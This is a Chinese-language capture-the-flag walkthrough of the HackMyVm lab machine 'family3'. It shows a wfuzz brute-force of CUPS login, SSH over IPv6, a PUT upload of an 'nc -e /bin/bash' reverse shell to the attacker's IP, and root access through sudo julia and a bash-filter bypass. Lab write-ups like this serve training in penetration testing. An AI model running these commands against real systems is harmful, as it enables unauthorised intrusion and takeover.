HackMyVm family3
此靶机来源于HackMyVm,下载地址:https://hackmyvm.eu/
0x000 信息收集
主机探测
netdiscover -r 192.168.1.0/24
端口扫描
nmap -sS -sV -T4 -A -p 1-65535 192.168.1.106
22 ssh # 处于过滤状态
631 ipp
访问631端口,出现如下页面。
点击Add Printers
出现401认证界面。
查看Printers
页面,发现用户mum
。
爆破401认证界面
这里我使用wfuzz
爆破,也可以使用burpsuite
抓包爆破。
wfuzz -c -w /usr/share/wordlists/rockyou.txt --basic mum:FUZZ -u http://192.168.1.106:631/admin/ -b "org.cups.sid=f607a41978fbca423d4de60f686fe8f5" -d "org.cups.sid=f607a41978fbca423d4de60f686fe8f5&OP=add-printer" -Z --hc 401
密码:lovely
登陆后台,没什么可用的信息。
使用ssh ipv6地址登陆用户mum
# 查看ipv6地址(第一次查看可能不会返回信息)
ip -6 neigh
# 使用ipv6 ping 一下组播地址
ping6 ff02::1
# 查看对应目标地址的mac地址
arp -e
# 然后就可以看到对应mac地址的ipv6地址
ip -6 neigh
ssh -6 mum@fe80::a00:27ff:febb:4a8a%eth0
0x001 提权
查看/home/dad/project
文件,发现如下信息。
查看网络信息,发现本地开放8000端口,进行本地端口转发。
Shift + ~ + C 打开ssh
输入-L 8000:localhost:8000
for x in GET POST PUT HEAD ; do echo "Method $x" ; curl --head -X $x http://localhost:8000 ; done
查看本地8000端口支持的协议,支持PUT伪协议,可以上传文件。
# kali编写反弹shell脚本
echo "nc -e /bin/bash 192.168.1.104 9999" > shell
# 上传shell脚本到目标机
curl --upload-file shell http://localhost:8000
成功监听到shell,这里获取的shell不太稳定。
# 目标机生成ssh密钥
ssh-keygen
mv id_rsa.pub authorized_keys
将 cat id_rsa 的内容复制到kali的dad文件中
# 赋权限(必须是600)
chmod 600 dad
# ssh登陆
ssh -6 -i dad dad@fe80::a00:27ff:febb:4a8a%eth0
查看当前用户权限,发现/usr/bin/julia具有root权限。
运行查看,run('bash')
查看权限,发现/home/baby/chocapic
文件具有root权限。
julia用法:http://blog.leahhanson.us/post/julia/julia-commands.html
查看内容,分析:
#! /bin/bash
set -e
while :
do
read -ep "baby command: " cmd
[[ ! $cmd =~ ^[[:alnum:]]|^$ ]] && break ==> $cmd不能以字母、数字开头或为空
done
var=$(echo ${cmd%% *}) 2>/dev/null ==> 在第一个空格后删除所有列
[[ ${#var} -ne 1 ]] && exit 1 ==> 字符串必须有一个字符
read -ra line <<< "$cmd" ==> 字符串到数组
check=${line[1]} ==> $cmd到索引1
[[ $check =~ ^[a-z] ]] && exit 1 ==> 不能以字母开头
if ! type -t "$check" |grep ^b >/dev/null && [[ ! ${#check} -eq 1 ]] ; then exit 1 ; fi ==> $check必须是内置类型,并且必须是一个字符
eval "$check" 2>/dev/null ==> 运行$cmd;如果状态代码不是0,则退出,因为set -e
bash -c "$cmd" ==> 如果$-eq 0,所以运行$cmd
运行chocapic,输入[ : ] ; bash
即可提升到root权限。
0x003 flag
这里root.txt文件使用openssl加密了。
openssl相关用法:https://www.openssl.org/docs/man1.1.1/man1/openssl-enc.html